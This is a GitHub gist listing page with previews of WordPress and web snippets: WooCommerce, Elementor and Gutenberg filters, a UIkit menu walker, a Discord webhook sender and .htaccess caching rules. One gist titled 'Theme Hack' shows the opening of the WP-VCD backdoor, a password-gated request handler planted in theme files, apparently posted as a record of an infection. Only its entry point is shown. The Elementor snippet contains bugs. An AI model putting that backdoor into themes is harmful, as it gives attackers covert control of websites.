Skip to content

Instantly share code, notes, and snippets.

View pixelbart's full-sized avatar
👋
Hi

Kevin Pliester pixelbart

👋
Hi
View GitHub Profile
@InpsydeNiklas
InpsydeNiklas / functions.php
Last active March 7, 2024 01:31
display icon for ppcp-gateway in the checkout
function woocommerce_paypal_payments_gateway_icon( $icon, $id ) {
if ( $id === 'ppcp-gateway' ) {
return '<img src="https://www.paypalobjects.com/webstatic/mktg/Logo/pp-logo-100px.png" alt="PayPal Payments" />';
} else {
return $icon;
}
}
add_filter( 'woocommerce_gateway_icon', 'woocommerce_paypal_payments_gateway_icon', 10, 2 );
@florianbrinkmann
florianbrinkmann / functions.php
Created March 13, 2021 12:55
Add has-\d-columns class to columns blocks after 5.3 update.
<?php
/**
* Add has-\d-columns class to columns blocks after 5.3 update.
*
* @param string $block_content The block content about to be appended.
* @param array $block The full block, including name and attributes.
*
* @return string
*/
add_filter( 'render_block', function( $block_content, $block ) {
@pingram3541
pingram3541 / functions.php
Last active September 14, 2023 12:23
How to hide Elementor Section or Widget for use with custom conditional
//How to hide any widget with an id of 'test':
add_filter( 'elementor/frontend/widget/should_render', function( $bool, $element ){
$settings = $element->get_settings();
if( 'test' === $settings['_element_id'] && 'heading' === $type ){
return false;
} else { return true }
}, 10, 3);
//How to hide any specific type of widget':
add_filter( 'elementor/frontend/widget/should_render', function( $bool, $element ){
@tareq1988
tareq1988 / functions.php
Created October 31, 2018 08:45
Theme Hack
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@Dreamelf
Dreamelf / Uikit 3.0 walker wordpress menu
Last active September 3, 2023 12:45
UIkit 3.0 wordpress menu
<?php
/**
* Class Name: your_themename_top_menu
* Description: A custom WordPress nav walker class to implement UIkit menu markup
*/
class your_themename_top_menu extends Walker_Nav_Menu {
/**
* @see Walker::start_lvl()
* @since 3.0.0
@igorbenic
igorbenic / block-atts.js
Last active June 16, 2022 00:44
How to create a Gutenberg Block for Displaying a Post | https://www.ibenic.com/create-gutenberg-block-displaying-post/
registerBlockType( 'cgb/block-guten-load-post', {
// ...
keywords: [
__( 'my-block — CGB Block' ),
__( 'CGB Example' ),
__( 'create-guten-block' ),
],
attributes: {
content: {
@Mo45
Mo45 / discord.msg.send.php
Last active July 22, 2024 21:54
PHP - Send message to Discord via Webhook
<?php
//=======================================================================================================
// Create new webhook in your Discord channel settings and copy&paste URL
//=======================================================================================================
$webhookurl = "YOUR_WEBHOOK_URL";
//=======================================================================================================
// Compose message. You can use Markdown
// Message Formatting -- https://discordapp.com/developers/docs/reference#message-formatting
@pixelbart
pixelbart / .htaccess
Last active April 10, 2017 10:37
Browser Caching with .htaccess
<IfModule mod_setenvif.c>
<IfModule mod_headers.c>
<FilesMatch "\.(cur|gif|ico|jpe?g|png|svgz?|webp)$">
SetEnvIf Origin ":" IS_CORS
Header set Access-Control-Allow-Origin "*" env=IS_CORS
</FilesMatch>
</IfModule>
</IfModule>
<IfModule mod_headers.c>
<FilesMatch "\.(eot|otf|ttc|ttf|woff)$">
@slushman
slushman / customizer-links.php
Last active September 23, 2023 13:03
How to link into the WordPress Customizer
u = location.href;
t = "takuya-hateblo-22";
a = (function(url, tag) {
asin = (function(url) {
if (r = url.match(/gp\/product\/([^\/]+)/)) {
return r[1];
} else if (r = url.match(/dp\/([^\/]+)/)) {
return r[1];
} else {
return;